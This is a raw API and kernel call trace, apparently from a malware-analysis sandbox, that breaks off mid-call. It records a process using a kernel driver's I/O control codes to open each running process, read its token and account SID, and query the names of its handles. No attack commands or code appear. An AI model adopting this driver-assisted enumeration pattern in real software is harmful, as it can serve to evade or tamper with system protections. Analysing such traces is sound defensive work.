[0137.515] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.515] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.515] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.515] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0137.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.515] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0137.515] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.515] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0137.515] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.515] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.515] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.515] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.515] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.517] CloseHandle (hObject=0xc8) returned 1 [0137.517] CloseHandle (hObject=0xc0) returned 1 [0137.517] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.517] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.517] PsAcquireProcessExitSynchronization () returned 0x0 [0137.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0) [0137.517] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0137.517] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.517] PsReleaseProcessExitSynchronization () returned 0x2 [0137.517] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0137.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.517] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0137.517] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.517] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.518] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.518] PsAcquireProcessExitSynchronization () returned 0x0 [0137.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0) [0137.518] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0137.518] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.518] PsReleaseProcessExitSynchronization () returned 0x2 [0137.518] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0137.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.518] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0137.518] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.518] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.518] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.518] PsAcquireProcessExitSynchronization () returned 0x0 [0137.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054735d0) [0137.518] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.518] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.518] PsReleaseProcessExitSynchronization () returned 0x2 [0137.518] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0137.518] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.518] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.518] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.518] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.518] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0137.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.518] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0137.518] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.518] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0137.518] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.518] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.519] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.519] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.519] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.520] CloseHandle (hObject=0xc8) returned 1 [0137.520] CloseHandle (hObject=0xc0) returned 1 [0137.520] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.520] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.520] PsAcquireProcessExitSynchronization () returned 0x0 [0137.520] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0) [0137.520] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0137.520] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.520] PsReleaseProcessExitSynchronization () returned 0x2 [0137.520] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0137.520] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.520] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0137.520] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.520] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.520] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0137.521] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.521] PsAcquireProcessExitSynchronization () returned 0x0 [0137.521] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0) [0137.521] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0137.521] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.521] PsReleaseProcessExitSynchronization () returned 0x2 [0137.521] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0137.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.521] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0137.521] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.521] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.521] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.521] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.521] PsAcquireProcessExitSynchronization () returned 0x0 [0137.521] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054735d0) [0137.521] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.521] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.521] PsReleaseProcessExitSynchronization () returned 0x2 [0137.521] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0137.521] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.521] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.521] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.521] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.521] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0137.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.521] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0137.521] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.521] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0137.521] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.522] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.522] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.522] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.522] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.523] CloseHandle (hObject=0xc8) returned 1 [0137.523] CloseHandle (hObject=0xc0) returned 1 [0137.523] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.523] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.523] PsAcquireProcessExitSynchronization () returned 0x0 [0137.523] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0) [0137.523] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0137.523] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.523] PsReleaseProcessExitSynchronization () returned 0x2 [0137.523] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0137.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.523] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0137.523] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.523] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.524] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0137.524] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.524] PsAcquireProcessExitSynchronization () returned 0x0 [0137.524] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0) [0137.524] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0137.524] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.524] PsReleaseProcessExitSynchronization () returned 0x2 [0137.524] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0137.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.524] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0137.524] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.524] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.524] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.524] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.524] PsAcquireProcessExitSynchronization () returned 0x0 [0137.524] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054735d0) [0137.524] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.524] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.524] PsReleaseProcessExitSynchronization () returned 0x2 [0137.524] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0137.524] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0137.524] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.524] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.524] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.524] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0137.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.524] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0137.524] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.524] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0137.524] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.524] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.525] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.525] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.525] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.526] CloseHandle (hObject=0xc8) returned 1 [0137.526] CloseHandle (hObject=0xc0) returned 1 [0137.526] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.526] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.526] PsAcquireProcessExitSynchronization () returned 0x0 [0137.526] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0) [0137.526] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0137.526] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.526] PsReleaseProcessExitSynchronization () returned 0x2 [0137.526] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0137.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.526] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0137.526] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.526] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.526] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 